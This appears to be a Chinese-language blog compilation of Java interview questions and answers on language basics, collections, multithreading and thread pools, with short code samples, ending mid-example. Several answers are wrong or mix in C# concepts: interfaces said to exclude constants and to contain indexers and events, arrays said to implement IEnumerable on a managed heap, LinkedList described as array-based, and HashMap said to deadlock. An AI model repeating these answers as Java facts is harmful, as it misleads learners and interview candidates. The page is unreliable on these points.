Java常见面试题以及答案

从工作经验来看,面试也许不能面出一个程序员的真实水平,或者说面试内容和工作内容也许关系不大,但面试和学历相似,是块敲门砖,好的面试表现,可以带给你更好的工作机会,也是对基础知识的一个巩固。以下面试题收集整理自互联网,作为笔记记录。如有侵权请联系删除。

一、Java 基础

1.JDK 和 JRE 有什么区别?

JRE( Java Runtime Environment)是Java 运行时环境……它是运行编译后的Java程序所必需的一切包,包括Java虚拟机(JVM)、Java基础类库、Java 命令和其他基础设施。但是,它不能用于创建新程序。

这个JDK是Java 开发工具包……功能齐全的SDKforJava。它拥有JRE所拥有的一切,还包含了编译java源码的编译器javac,还包含了很多java程序调试和分析的工具:jconsole,jvisualvm等工具软件,还包含了java程序编写所需的文档和demo例子程序。它能够创建和编译程序,是提供给程序员使用的。

2.== 和 equals 的区别是什么?

== : 它的作用是判断两个对象的地址是不是相等。即,判断两个对象是不是同一个对象。(基本数据类型==比较的是值,引用数据类型==比较的是内存地址)

equals() : 它的作用也是判断两个对象是否相等。但它一般有两种使用情况:

情况1:类没有覆盖 equals() 方法。则通过 equals() 比较该类的两个对象时,等价于通过“==”比较这两个对象。

情况2:类覆盖了 equals() 方法。一般,我们都覆盖 equals() 方法来两个对象的内容相等;若它们的内容相等,则返回 true (即,认为这两个对象相等)。

3.两个对象的 hashCode()相同,则 equals()也一定为 true,对吗?

两个对象equals相等,则它们的hashcode必须相等,反之则不一定。
两个对象==相等,则其hashcode一定相等,反之不一定成立。

4.final 在 java 中有什么作用?

(1)修饰类:表示该类不能被继承;

(2)修饰方法:表示方法不能被重写;

(3)修饰变量:表示变量只能一次赋值以后值不能被修改(常量)。

5.java 中的 Math.round(-1.5) 等于多少?

Math.round(1.5)的返回值是2,Math.round(-1.5)的返回值是-1。四舍五入的原理是在参数上加0.5然后做向下取整。

6.String 属于基础的数据类型吗?

java 中String 是个对象,是引用类型 ,基础类型与引用类型的区别是,基础类型只表示简单的字符或数字,引用类型可以是任何复杂的数据结构 ,基本类型仅表示简单的数据类型,引用类型可以表示复杂的数据类型,还可以操作这种数据类型的行为 。
java虚拟机处理基础类型与引用类型的方式是不一样的,对于基本类型,java虚拟机会为其分配数据类型实际占用的内存空间,而对于引用类型变量,他仅仅是一个指向堆区中某个实例的指针。

7.java 中操作字符串都有哪些类?它们之间有什么区别?

String、StringBuffer、StringBuilder

String : final修饰,String类的方法都是返回new String。即对String对象的任何改变都不影响到原对象,对字符串的修改操作都会生成新的对象。
StringBuffer : 对字符串的操作的方法都加了synchronized,保证线程安全。
StringBuilder : 不保证线程安全,在方法体内需要进行字符串的修改操作,可以new StringBuilder对象,调用StringBuilder对象的append、replace、delete等方法修改字符串。


8.String str="i"与 String str=new String(“i”)一样吗?

String x = "张三";
String y = "张三";
String z = new String("张三");
System.out.println(x == y); // true
System.out.println(x == z); // false

String x = "张三" 的方式,Java 虚拟机会将其分配到常量池中,而常量池中没有重复的元素,比如当执行“张三”时,java虚拟机会先在常量池中检索是否已经有“张三”,如果有那么就将“张三”的地址赋给变量,如果没有就创建一个,然后在赋给变量;而 String z = new String(“张三”) 则会被分到堆内存中,即使内容一样还是会创建新的对象。
 

9.如何将字符串反转?

1、使用 StringBuilder 或 StringBuffer 的 reverse 方法,本质都调用了它们的父类 AbstractStringBuilder 的 reverse 方法实现。(JDK1.8)
2、不考虑字符串中的字符是否是 Unicode 编码,自己实现。

10.String 类的常用方法都有那些?

indexOf() 返回指定字符得索引
charAt() 返回指定索引处得字符
repalce() 字符串替换
trim() 去除字符串两端的空白
split() 分割字符串 返回分割后的字符串数组
getBytes() 返回字符串的byte类型数组
length() 返回字符串的长度
toLowerCase() 字符串转小写
toUpperCase() 字符串转大写
substring() 截取字符串
equals() 字符串比较
 

11.抽象类必须要有抽象方法吗?

答案是:不必须。

这个题目主要是考察对抽象类的理解。

说一下我个人的理解吧。

1.如果一个类使用了abstract关键字修饰,那么这个类就是一个抽象类。

2.抽象类可以没有抽象方法

3.一个类如果包含抽象方法,那么这个类必须是抽象类,否则编译就会报错。

4.最关键的一点就是如果一个类是抽象类,那么这个类是不能被实例化的。

12.普通类和抽象类有哪些区别?

  • 抽象类不能被实例化
  • 抽象类可以有抽象方法,抽象方法只需申明,无需实现
  • 含有抽象方法的类必须申明为抽象类
  • 抽象类的子类必须实现抽象类中所有抽象方法,否则这个子类也是抽象类
  • 抽象方法不能被声明为静态
  • 抽象方法不能用 private 修饰
  • 抽象方法不能用 final 修饰

13.抽象类能使用 final 修饰吗?

不能,抽象类是被用于继承的,final修饰代表不可修改、不可继承的。

14.接口和抽象类有什么区别?

抽象类是什么:

抽象类不能创建实例,它只能作为父类被继承。抽象类是从多个具体类中抽象出来的父类,它具有更高层次的抽象。从多个具有相同特征的类中抽象出一个抽象类,以这个抽象类作为其子类的模板,从而避免了子类的随意性。

(1) 抽象方法只作声明,而不包含实现,可以看成是没有实现体的虚方法

(2) 抽象类不能被实例化

(3) 抽象类可以但不是必须有抽象属性和抽象方法,但是一旦有了抽象方法,就一定要把这个类声明为抽象类

(4) 具体派生类必须覆盖基类的抽象方法

(5) 抽象派生类可以覆盖基类的抽象方法,也可以不覆盖。如果不覆盖,则其具体派生类必须覆盖它们

 

接口是什么:

(1) 接口不能被实例化

(2) 接口只能包含方法声明

(3) 接口的成员包括方法、属性、索引器、事件

(4) 接口中不能包含常量、字段(域)、构造函数、析构函数、静态成员

 

接口和抽象类的区别:

(1)抽象类可以有构造方法,接口中不能有构造方法。

(2)抽象类中可以有普通成员变量,接口中没有普通成员变量

(3)抽象类中可以包含静态方法,接口中不能包含静态方法

(4) 一个类可以实现多个接口,但只能继承一个抽象类。

(5)接口可以被多重实现,抽象类只能被单一继承

(6)如果抽象类实现接口,则可以把接口中方法映射到抽象类中作为抽象方法而不必实现,而在抽象类的子类中实现接口中方法

 

接口和抽象类的相同点:

(1) 都可以被继承

(2) 都不能被实例化

(3) 都可以包含方法声明

(4) 派生类必须实现未实现的方法

15.java 中 IO 流分为几种?

按照流的流向分,可以分为输入流和输出流;
按照操作单元划分,可以划分为字节流和字符流;
按照流的角色划分为节点流和处理流。
Java Io流共涉及40多个类,这些类看上去很杂乱,但实际上很有规则,而且彼此之间存在非常紧密的联系, Java IO流的40多个类都是从如下4个抽象类基类中派生出来的。

InputStream/Reader: 所有的输入流的基类,前者是字节输入流,后者是字符输入流。
OutputStream/Writer: 所有输出流的基类,前者是字节输出流,后者是字符输出流。

16.BIO、NIO、AIO 有什么区别?

BIO (Blocking I/O): 同步阻塞I/O模式,数据的读取写入必须阻塞在一个线程内等待其完成。在活动连接数不是特别高(小于单机1000)的情况下,这种模型是比较不错的,可以让每一个连接专注于自己的 I/O 并且编程模型简单,也不用过多考虑系统的过载、限流等问题。线程池本身就是一个天然的漏斗,可以缓冲一些系统处理不了的连接或请求。但是,当面对十万甚至百万级连接的时候,传统的 BIO 模型是无能为力的。因此,我们需要一种更高效的 I/O 处理模型来应对更高的并发量。
NIO (New I/O): NIO是一种同步非阻塞的I/O模型,在Java 1.4 中引入了NIO框架,对应 java.nio 包,提供了 Channel , Selector,Buffer等抽象。NIO中的N可以理解为Non-blocking,不单纯是New。它支持面向缓冲的,基于通道的I/O操作方法。 NIO提供了与传统BIO模型中的 Socket 和 ServerSocket 相对应的 SocketChannel 和 ServerSocketChannel 两种不同的套接字通道实现,两种通道都支持阻塞和非阻塞两种模式。阻塞模式使用就像传统中的支持一样,比较简单,但是性能和可靠性都不好;非阻塞模式正好与之相反。对于低负载、低并发的应用程序,可以使用同步阻塞I/O来提升开发速率和更好的维护性;对于高负载、高并发的(网络)应用,应使用 NIO 的非阻塞模式来开发
AIO (Asynchronous I/O): AIO 也就是 NIO 2。在 Java 7 中引入了 NIO 的改进版 NIO 2,它是异步非阻塞的IO模型。异步 IO 是基于事件和回调机制实现的,也就是应用操作之后会直接返回,不会堵塞在那里,当后台处理完成,操作系统会通知相应的线程进行后续的操作。AIO 是异步IO的缩写,虽然 NIO 在网络操作中,提供了非阻塞的方法,但是 NIO 的 IO 行为还是同步的。对于 NIO 来说,我们的业务线程是在 IO 操作准备好时,得到通知,接着就由这个线程自行进行 IO 操作,IO操作本身是同步的。查阅网上相关资料,我发现就目前来说 AIO 的应用还不是很广泛,Netty 之前也尝试使用过 AIO,不过又放弃了。

17.Files的常用方法都有哪些?

Files.exists() 检测文件路径是否存在
Files.createFile()创建文件
Files.createDirectory()创建文件夹
Files.delete() 删除文件或者目录
Files.copy() 复制文件
Files.move() 移动文件
Files.size()查看文件个数
Files.read() 读取文件
Files.write()写入文件

二、容器

18.java 容器都有哪些?

java 中的容器类:List(列表)、Set(集)、Queue(队列)、Map(映射)

19.Collection 和 Collections 有什么区别?

Collcetion是一个集合接口,它提供了对集合对象进行基本操作的通用接口方法。实现该接口的类主要有List和Set,该接口的设计目标是为各种具体的集合提供最大化的统一操作方式。

Collections是针对集合类的一个包装类,它提供了一系列的静态方法以实现对各种集合的搜索、排序、线程安全化等操作,其中大多数方法都是用来处理线性表。 Collections类不能实例化,如同一个工具类,服务于Collection。若是在使用Collections类的方法时候,对应的collection的对象为null,则这些方法都会抛出 NullPointerException 。之前我们见到的包装类还有Arrays,它是为数组提供服务的。

20.List、Set、Map 之间的区别是什么?

List:

可以允许重复对象

可以插入多个null元素

是一个有序容器

Set:

不允许重复对象

只允许一个null元素

无序容器

Map:

Map不是Collection的子接口或实现类。Map是一个接口

Map 的每个Entry都特有两个对象,也就是一个键一个值,Map可能会持有相同的值对象但键对象必须是唯一的

Map里可以拥有随意个null值但最多只能有一个null键

21.HashMap 和 Hashtable 有什么区别?

1.线程安全性不同

  • Hashtable是线程安全的,它的每个方法中都加入了Synchronize方法。在多线程并发的环境下,可以直接使用Hashtable,不需要自己为它的方法实现同步

  • HashMap不是线程安全的,在多线程并发的环境下,可能会产生死锁等问题。具体的原因在下一篇文章中会详细进行分析。使用HashMap时就必须要自己增加同步处理,

  • 虽然HashMap不是线程安全的,但是它的效率会比Hashtable要好很多。这样设计是合理的。在我们的日常使用当中,大部分时间是单线程操作的。HashMap把这部分操作解放出来了。当需要多线程操作的时候可以使用线程安全的ConcurrentHashMap。ConcurrentHashMap虽然也是线程安全的,但是它的效率比Hashtable要高好多倍。因为ConcurrentHashMap使用了分段锁,并不对整个数据进行锁定

2.继承的父类不同

  • HashTable是继承自Dictionary类,而HashMap是继承自AbstractMap类。不过它们都实现了同时实现了map、Cloneable(可复制)、Serializable(可序列化)这三个接口。

3.对null key和null value的支持不同

  • HashTable不允许null值(key和value都不可以),HashMap允许使用null值(key和value)都可以。这样的键只有一个,可以有一个或多个键所对应的值为null。

4.遍历方法不同

  • HashTable使用Enumeration遍历,HashMap使用Iterator进行遍历。

5.初始化和扩容方式不同

  • HashTable中hash数组初始化大小及扩容方式不同。

  • Hashtable默认的初始大小为11,之后每次扩充,容量变为原来的2n+1。HashMap默认的初始化大小为16。之后每次扩充,容量变为原来的2倍。

  • 创建时,如果给定了容量初始值,那么Hashtable会直接使用你给定的大小,而HashMap会将其扩充为2的幂次方大小。也就是说Hashtable会尽量使用素数、奇数。而HashMap则总是使用2的幂作为哈希表的大小。

6.计算hash值的方法不同。

  • Hashtable直接使用key对象的hashCode。hashCode是JDK根据对象的地址或者字符串或者数字算出来的int类型的数值。然后再使用除留余数法来获得最终的位置。

22.如何决定使用 HashMap 还是 TreeMap?

TreeMap<K,V>的Key值是要求实现java.lang.Comparable,所以迭代的时候TreeMap默认是按照Key值升序排列的;TreeMap的实现也是基于红黑树结构。

而HashMap<K,V>的Key值实现散列hashCode(),分布是散列的均匀的,不支持排序,数据结构主要是桶(数组),链表或红黑树。

所以,查询的时候使用HashMap,增加、快速创建的时候使用TreeMap。

23.说一下 HashMap 的实现原理?

hashMap基于hashing原理,我们通过put()和get()方法存储和获取对象。当我们将键值对传给put()方法时;它调用键对象的hashCode()方法来计算hashCode,然后找到bucket位置来存值对象。当获取对象时,通过键值对的equals()方法来找到正确的键值对。然后返回值对象。HashMap使用链表来解决碰撞问题,当发生碰撞时,对象会存储在链表的下一个节点。hashMap在每个链表的阶段存储键值对对象。

当两个不同的键对象hashCode相同时会发生什么?他们会存储在同一个bucket位置的链表中。建对象的equals()方法用来找到键值对。

24.说一下 HashSet 的实现原理?

  • HashSet是基于HashMap实现的,HashSet 底层使用HashMap来保存所有元素,

  • 因此HashSet 的实现比较简单,相关HashSet 的操作,基本上都是直接调用底层HashMap的相关方法来完成,因此HashSet不允许有重复的值,并且元素是无序的。

HashSet来实现,因为它专门对快速查找进行了优化。

  • HashSet使用的是散列函数,那么它当中的元素也就无序可寻。当中是允许元素为null的。

25.ArrayList 和 LinkedList 的区别是什么?

区别:

数据结构:

  • ArrayList 是动态数组的数据结构实现,而 LinkedList 是双向链表的数据结构实现。

随机访问方式:

  • LinkedList 是线性的数据存储方式,需要移动指针从前往后依次查找。

  • 所以 ArrayList 比 LinkedList 在随机访问的时候效率要高,

增加和删除:

  • ArrayList 增删操作要影响数组内的其他数据的下标。

  • 所以在非首尾的增加和删除操作,LinkedList 要比 ArrayList 效率要高,

综合来说:

  • 在需要频繁读取集合中的元素时,更推荐使用 ArrayList,

  • 而在插入和删除操作较多时,更推荐使用 LinkedList。

共性:

  • ArrayList 与 LinkedList 都是单列集合中 List 接口的实现类,他们都是存取有序,有索引,可重复的。

26.如何实现数组和 List 之间的转换?

  • 数组转 List ,使用 JDK 中 java.util.Arrays 工具类的 asList 方法
import java.util.Arrays;
import java.util.List;

public class test26 {

    public static void main(String[] args) {
        String[] strs = new String[] {"aaa", "bbb", "ccc"}; //数组
        List<String> list = Arrays.asList(strs); //list
        for (String s : list) {
            System.out.println(s); //循环输出
        }
    }
}
  • List 转数组,使用 List 的toArray方法。

  • 无参toArray方法返回Object数组,传入初始化长度的数组对象,返回该对象数组

import java.util.Arrays;
import java.util.List;


public class test266 {
    public static void main(String[] args) {
            List<String> list = Arrays.asList("aaa", "bbb", "ccc"); //list
            String[] array = list.toArray(new String[list.size()]); //数组
            for (String s : array) {
                System.out.println(s); //循环输出
            }
    }
}

toArray : ArrayList 提供了一个将 List 转为数组的一个非常方便的方法。

27.ArrayList 和 Vector 的区别是什么?

  • List接口一共有三个实现类,分别是ArrayList、Vector和LinkedList。

  • List用于存放多个元素,能够维护元素的次序,并且允许元素的重复。

主要区别:

  • 同步性:Vector是线程安全的,用synchronized实现线程安全,而ArrayList是线程不安全的。(实现同步需要很高的花费,所以访问Vector比访问ArrayList慢)

  • 数据容量增长:二者都有一个初始容量大小,采用线性连续存储空间,当存储的元素的个数超过了容量时,就需要增加二者的存储空间,Vector增长原来的一倍,ArrayList增加原来的0.5倍。

总结:

  • LinkedList:增删改快

  • ArrayList:查询快(有索引的存在)

  • 如果只有一个线程会访问到集合,那最好使用ArrayList,因为它不考虑线程安全,效率会高些;如果有多个线程会访问到集合,那最好是使用Vector,因为不需要我们再去考虑和编写线程安全的代码。

拓展:

  • LinkedList和ArrayList都是通过数组实现。缺点是每个元素之间不能有间隔,当数组大小不满足时需要增加存储能力,就要将已经有数组的数据复制到新的存储空间中。

  • LinkedList是用链表结构存储数据的,很适合数据的动态插入和删除,随机访问和遍历速度比较慢。另外,他还提供了List接口中没有定义的方法,专门用于操作表头和表尾元素,可以当作堆栈、队列和双向队列使用。

28.Array 和 ArrayList 有何区别?

  • 存储内容比较: Array可以包含基本类型和对象类型,ArrayList只能包含对象类型。

  • 空间大小比较: array 是数组,arraylist 是数组列表,数组列表可以根据自身变化扩大,而数组指定长度后不可以。

  • 方法上的比较: ArrayList提供了更多的方法和特性,比如:addAll(),removeAll(),iterator()等等。

  • Array类型的变量在声明的同时必须进行实例化(至少得初始化数组的大小),而ArrayList可以只是先声明

  • 对于基本数据类型,集合使用自动装箱来减少编码工作量。但是,当处理固定大小基本数据类型的时候,这种方式相对较慢。(没懂这句话)

拓展:

Array 和 ArrayList 的相似点

  • 都具有索引(index),即可以通过index来直接获取和修改任意项。

  • 他们所创建的对象都放在托管堆中。

  • 都能够对自身进行枚举(因为都实现了IEnumerable接口)。

概念:

  • Array 即数组,声明方式可以如下:

  • 定义一个 Array 时,必须指定数组的数据类型及数组长度,即数组中存放的元素个数固定并且类型相同。

int[] array = new int[3];  //动态数组
int array [] = new int[3];
int[] array = {1, 2, 3};  //静态数组
int[] array = new int[]{1, 2, 3};
  • ArrayList 是动态数组,长度动态可变,会自动扩容。不使用泛型的时候,可以添加不同类型元素。
List list = new ArrayList(3);
list.add(1);
list.add("1");
list.add(new Double("1.1"));
list.add("第四个元素,已经超过初始长度");
for (Object o : list) {
    System.out.println(o);
}

 

29.在 Queue 中 poll()和 remove()有什么区别?

  • 队列(queue)是一个典型的先进先出(FIFO)的容器。即从容器的一端放入事物,从另一端取出,并且事物放入容器的顺序与取出的顺序是相同的。

相同点:

  • 都是返回第一个元素,并在队列中删除返回的对象。

不同点:

  • remove() ,如果队列为空的时候,则会抛出异常

  • 而poll()只会返回null

 

30.哪些集合类是线程安全的?

  • Vector:就比Arraylist多了个同步化机制(线程安全)。

  • Hashtable:就比Hashmap多了个线程安全。

  • Stack: 栈,也是线程安全的,继承于Vector。

  • ConcurrentHashMap:是一种高效但是线程安全的集合

拓展:

  • 在 JDK1.5 之后随着 Java.util.concurrent 并发包的出现,比如 HashMap 也有了对应的线程安全类 ConcurrentHashMap。

  • 早在jdk的1.1版本中,所有的集合都是线程安全的。但是在1.2以及之后的版本中就出现了一些线程不安全的集合,为什么版本升级会出现一些线程不安全的集合呢?因为线程不安全的集合普遍比线程安全的集合效率高的多。随着业务的发展,特别是在web应用中,为了提高用户体验减少用户的等待时间,页面响应速度(也就是效率)是优先考虑的。而且对线程不安全的集合加锁以后也能达到安全的效果(但是效率会低,因为会有锁的获取以及等待)。其实在jdk源码中相同效果的集合线程安全的比线程不安全的就多了一个同步机制,但是效率上却低了不止一点点,因为效率低,所以已经不太建议使用了。

31.迭代器 Iterator 是什么?

  • 使用方法iterator()要求容器返回一个Iterator。第一次调用Iterator的next()方法时,它返回序列的第一个元素。

  • 使用next()获得序列中的下一个元素。

  • 使用hasNext()检查序列中是否还有元素。

  • 使用remove()将迭代器新返回的元素删除。

  • 注意:iterator()方法是java.lang.Iterable接口,被Collection继承。

  • Iterator是Java迭代器最简单的实现,为List设计的ListIterator具有更多的功能,它可以从两个方向遍历List,也可以从List中插入和删除元素。

32.Iterator 怎么使用?有什么特点?

Iterator 接口源码中的方法:

  • java.lang.Iterable 接口被 java.util.Collection 接口继承,java.util.Collection 接口的 iterator() 方法返回一个 Iterator 对象

  • next() 方法获得集合中的下一个元素

  • hasNext() 检查集合中是否还有元素

  • remove() 方法将迭代器新返回的元素删除
     
     

Iterator 的使用示例

//是否有下一个元素
boolean hasNext();
 
//下一个元素
E next();
 
//从迭代器指向的集合中删除迭代器返回的最后一个元素
default void remove() {
    throw new UnsupportedOperationException("remove");
}
 
//遍历所有元素
default void forEachRemaining(Consumer<? super E> action) {
    Objects.requireNonNull(action);
    while (hasNext())
        action.accept(next());
}
 



 

特点:

在迭代过程中调用集合的 remove(Object o) 可能会报 java.util.ConcurrentModificationException 异常
forEachRemaining 方法中 调用Iterator 的 remove 方法会报 java.lang.IllegalStateException 异常

 

//使用迭代器遍历元素过程中,调用集合的 remove(Object obj) 方法可能会报 java.util.ConcurrentModificationException 异常
    public static void testListRevome() {
         ArrayList<String> aList = new ArrayList<String>();
         aList.add("111");
         aList.add("333");
         aList.add("222");
         System.out.println("移除前:"+aList);
         
         Iterator<String> iterator = aList.iterator();
         while(iterator.hasNext())
         {
             if("222".equals(iterator.next()))
             {
                aList.remove("222");          
             }
         }
         System.out.println("移除后:"+aList);
    }
    
    //JDK 1.8 Iterator forEachRemaining 方法中 调用Iterator 的 remove 方法会报 java.lang.IllegalStateException 异常
    public static void testForEachRemainingIteRemove () {
        final Iterator<String> iterator = list.iterator();
        iterator.forEachRemaining(new Consumer<String>() {
 
            public void accept(String t) {
                if ("222".equals(t)) {
                    iterator.remove();
                }
            }
        });
    }

 

33.Iterator 和 ListIterator 有什么区别?

ListIterator 继承 Iterator,且比 Iterator 有更多方法。

  • add(E e)  将指定的元素插入列表,插入位置为迭代器当前位置之前
  • set(E e)  迭代器返回的最后一个元素替换参数e
  • hasPrevious()  迭代器当前位置,反向遍历集合是否含有元素
  • previous()  迭代器当前位置,反向遍历集合,下一个元素
  • previousIndex()  迭代器当前位置,反向遍历集合,返回下一个元素的下标
  • nextIndex()  迭代器当前位置,返回下一个元素的下标

区别:

  • 使用范围不同,Iterator可以迭代所有集合;ListIterator 只能用于List及其子类。

  • ListIterator 有 add 方法,可以向 List 中添加对象;Iterator 不能

  • ListIterator 有 set()方法,可以实现对 List 的修改;Iterator 仅能遍历,不能修改

  • ListIterator 有 hasPrevious() 和 previous() 方法,可以实现逆向遍历;Iterator不能

  • ListIterator 有 nextIndex() 和previousIndex() 方法,可定位当前索引的位置;Iterator不能

34.怎么确保一个集合不能被修改?

  • 可以使用 Collections. unmodifiableCollection(Collection c) 方法来创建一个只读集合,这样改变集合的任何操作都会抛出 Java.lang.UnsupportedOperationException 异常。
List<String> list = new ArrayList<>();
list. add("x");
Collection<String> clist = Collections. unmodifiableCollection(list);
clist. add("y"); // 运行时此行报错
System. out. println(list. size());
  • 同理:

  • Collections包也提供了对list和set集合的方法。

  • Collections.unmodifiableList(List)

  • Collections.unmodifiableSet(Set)

拓展:

  • 我们很容易想到用final关键字进行修饰,我们都知道
  • final关键字可以修饰类,方法,成员变量,final修饰的类不能被继承,final修饰的方法不能被重写,final修饰的成员变量必须初始化值,如果这个成员变量是基本数据类型,表示这个变量的值是不可改变的,如果说这个成员变量是引用类型,则表示这个引用的地址值是不能改变的,但是这个引用所指向的对象里面的内容还是可以改变的。

三、多线程

35.并行和并发有什么区别?

  • 并行(Parallel):当系统有一个以上CPU时,一个CPU执行一个进程,而另一个CPU可以执行另一个进程。两个进程互不抢占CPU资源,可以同时进行。

  • 并发(Concurrent):多个任务在同一个 CPU 核上,按细分的时间片轮流(交替)执行,但从逻辑上来看那些任务是同时执行。

并发和并行的区别:

  • 并行:多个事情,在同一时间点上同时发生了;且多个任务之间是不互相抢占资源的。

  • 并发:多个事情,在同一时间段内同时发生了;且多个任务之间是互相抢占资源的。

  • 只有在多CPU的情况中,才会发生并行。否则看似同时发生的事情,其实都是并发执行的。

36.线程和进程的区别?

  • 进程:是程序的一次执行过程,是一个动态概念,是程序在执行过程中分配和管理资源的基本单位,每一个进程都有一个自己的地址空间,至少有 5 种基本状态,它们是:初始态,执行态,等待状态,就绪状态,终止状态。

  • 线程:是CPU调度和分派的基本单位,它可与同属一个进程的其他的线程共享进程所拥有的全部资源。

  • 联系:线程是进程的一部分,一个线程只能属于一个进程,而一个进程可以有多个线程,但至少有一个线程。

37.守护线程是什么?

  • 守护线程:专门用于服务其他的线程,如果非守护线程(即用户自定义线程)都执行完毕,程序终止,那么jvm就会退出(即停止运行)——此时,连jvm都停止运行了,守护线程当然也就停止执行了。

  • 反过来说,只要任何非守护线程还在运行,程序就不会终止。

  • 换一种说法:如果有用户自定义线程存在的话,jvm就不会退出——此时,守护线程也不能退出,也就是它还要运行,干嘛呢,就是为了执行垃圾回收的任务

38.创建线程有哪几种方式?

  • 继承 Thread 重写 run 方法;

  • 实现Runnable接口,重写 run 方法;

  • 实现Callable接口,通过FutureTask包装器来创建Thread线程。

39.说一下 runnable 和 callable 有什么区别?

  • 两者最大的不同点是:实现Callable接口的任务线程能返回执行结果;而实现Runnable接口的任务线程不能返回结果;

  • Callable接口的call()方法允许抛出异常;而Runnable接口的run()方法的异常只能在内部消化,不能继续上抛;

40.线程有哪些状态?

1. 初始(NEW):新创建了一个线程对象,但还没有调用start()方法。

2. 运行(RUNNABLE):Java线程中将就绪(ready)和运行中(running)两种状态笼统的称为“运行”。

线程对象创建后,其他线程(比如main线程)调用了该对象的start()方法。该状态的线程位于可运行线程池中,等待被线程调度选中,获取CPU的使用权,此时处于就绪状态(ready)。就绪状态的线程在获得CPU时间片后变为运行中状态(running)。

3. 阻塞(BLOCKED):表示线程阻塞于锁。

4. 等待(WAITING):进入该状态的线程需要等待其他线程做出一些特定动作(通知或中断)。

5. 超时等待(TIMED_WAITING):该状态不同于WAITING,它可以在指定的时间后自行返回。

6. 终止(TERMINATED):表示该线程已经执行完毕。

41.sleep() 和 wait() 有什么区别?

sleep()和wait()都是线程暂停执行的方法。

同步锁的对待不同:(最大区别)

  • sleep()度后,程序并不会不释放同步锁。

  • wait()后,程序会释放同步锁。 使得其他线程可以使用同步控制块或者方法。

用法的不同:

  • sleep()可以用时间指定来使他自动醒过来。如果时间不到你只能调用interreput()来强行打断。

  • wait()可以用notify()直接唤起。

  • wait,notify,notifyAll只能在同步控制方法或者同步控制块里面使用,而sleep可以在任何地方使用.

属于不同的类属:

  • sleep()的类是Thread。

  • wait()的类是Object。

42.notify()和 notifyAll()有什么区别?

两概念:Java中的 等待池、锁池。

  • 等待池:假设一个线程A调用了某个对象的wait()方法,线程A就会释放该对象的锁后,进入到了该对象的等待池中。等待池中的线程不会去竞争该对象的锁。

  • 锁池:只有获取了对象的锁,线程才能执行对象的 synchronized 代码,对象的锁每次只有一个线程可以获得,其他线程只能在锁池中等待。

java中的锁池和等待池,地址

notify、notifyAll 的区别

  • 如果线程调用了对象的 wait()方法,那么线程便会处于该对象的等待池中,等待池中的线程不会去竞争该对象的锁。

  • 当有线程调用了对象的 notifyAll()方法(唤醒所有 wait 线程)或 notify()方法(只随机唤醒一个 wait 线程),被唤醒的的线程便会进入该对象的锁池中,锁池中的线程会去竞争该对象锁。也就是说,调用了notify后只要一个线程会由等待池进入锁池,而notifyAll会将该对象等待池内的所有线程移动到锁池中,等待锁竞争。

  • 优先级高的线程竞争到对象锁的概率大,假若某线程没有竞争到该对象锁,它还会留在锁池中,唯有线程再次调用 wait()方法,它才会重新回到等待池中。而竞争到对象锁的线程则继续往下执行,直到执行完了 synchronized 代码块,它会释放掉该对象锁,这时锁池中的线程会继续竞争该对象锁。

线程间协作:wait、notify、notifyAll,地址

综上,唤醒线程,另一种解释可以说是将线程由等待池移动到锁池,notifyAll调用后,会将全部线程由等待池移到锁池,然后参与锁的竞争,竞争成功则继续执行,如果不成功则留在锁池等待锁被释放后再次参与竞争。而notify只会唤醒一个线程。

所以,notify可能会导致死锁,而notifyAll则不会就很好解释。

43.线程的 run()和 start()有什么区别?

  • 调用 start() 方法是用来启动线程的,轮到该线程执行时,会自动调用 run();直接调用 run() 方法,无法达到启动多线程的目的,相当于主线程线性执行 Thread 对象的 run() 方法。

  • 一个线程对线的 start() 方法只能调用一次,多次调用会抛出 java.lang.IllegalThreadStateException 异常;run() 方法没有限制。

44.创建线程池有哪几种方式?

  1. newCachedThreadPool

创建一个可根据需要创建新线程的线程池,但是在以前构造的线程可用时将重用它们。对于执行很多短期异步任务的程序而言,这些线程池通常可提高程序性能。调用 execute 将重用以前构造的线程(如果线程可用)。如果现有线程没有可用的,则创建一个新线程并添加到池中。终止并从缓存中移除那些已有 60 秒钟未被使用的线程。因此,长时间保持空闲的线程池不会使用任何资源。

public static ExecutorService newCachedThreadPool()

public class ThreadPoolExecutorTest {
   public static void main(String[] args ) {

//可缓存的线程池,如果线程池的容量超过了任务数,自动回收空闲线程
    ExecutorService cacheThreadPool =Executors.newCachedThreadPool();

//测试可缓存线程池
     for(int i =1;i<=5;i++){
       final int index=i ;
       try{
        Thread.sleep(1000);
      }catch(InterruptedException e ) {
         e.printStackTrace();
      }
       cacheThreadPool.execute(new Runnable(){
         @Override
         public void run() {
          System.out.println("第" +index +"个线程" +Thread.currentThread().getName());  
        }  
      });
    }
  }
}


//输出结果
第1个线程pool-1-thread-1
第2个线程pool-1-thread-1
第3个线程pool-1-thread-1
第4个线程pool-1-thread-1 第5个线程pool-1-thread-1  

由结果可看出 当执行第二个任务时第一个任务已经完成,会复用执行第一个任务的线程,而不用每次新建线程。
 

  1. newFixedThreadPool

创建一个指定工作线程数量的线程池。每当提交一个任务就创建一个工作线程,如果工作线程数量达到线程池初始的最大数,则将提交的任务存入到池队列中。

public static ExecutorService newFixedThreadPool(int nThreads)

( nThreads - 池中的线程数 )

public class ThreadPoolExecutorTest {
   public static void main(String[] args) {

//定长线程池,每当提交一个任务就创建一个线程,直到达到线程池的最大数量,这时线程数量不再变化
    ExecutorService fixedThreadPool =Executors. newFixedThreadPool(3);

//测试定长线程池,线程池的容量为3,提交5个任务,根据打印结果可以看出先执行前3个任务,3个任务结束后再执行后面的任务
     for (int i =1; i<=5;i++){
       final int index=i ;
       fixedThreadPool.execute(new Runnable(){
         @Override
         public void run() {
           try {
            System.out.println("第" +index + "个线程" +Thread.currentThread().getName());
            Thread.sleep(1000);
          } catch(InterruptedException e ) {
             e .printStackTrace();
          }
        }

      });
    }
  }
}

由于设置最大线程数为3,所以在输出三个数后等待2秒后才继续输出。
 

  1. newScheduledThreadPool

创建一个线程池,它可安排在给定延迟后运行命令或者定期地执行。

public static ScheduledExecutorService newScheduledThreadPool(int corePoolSize)

( corePoolSize - 池中所保存的线程数,即使线程是空闲的也包括在内。 )

第一个延迟执行示例代码:

public class ThreadPoolExecutorTest {  
  public static void main(String[] args) {
    ScheduledExecutorService scheduledThreadPool= Executors.newScheduledThreadPool(3);   
    scheduledThreadPool.schedule(newRunnable(){     
      @Override 
      public void run() {
       System.out.println("延迟三秒");
       }
   }, 3, TimeUnit.SECONDS);
  }
}

表示延迟3秒执行。
 

第二个定期执行示例代码:

public class ThreadPoolExecutorTest {  
  public static void main(String[] args) {

//定长线程池,可执行周期性的任务
    ScheduledExecutorService scheduledThreadPool= Executors.newScheduledThreadPool(3);    
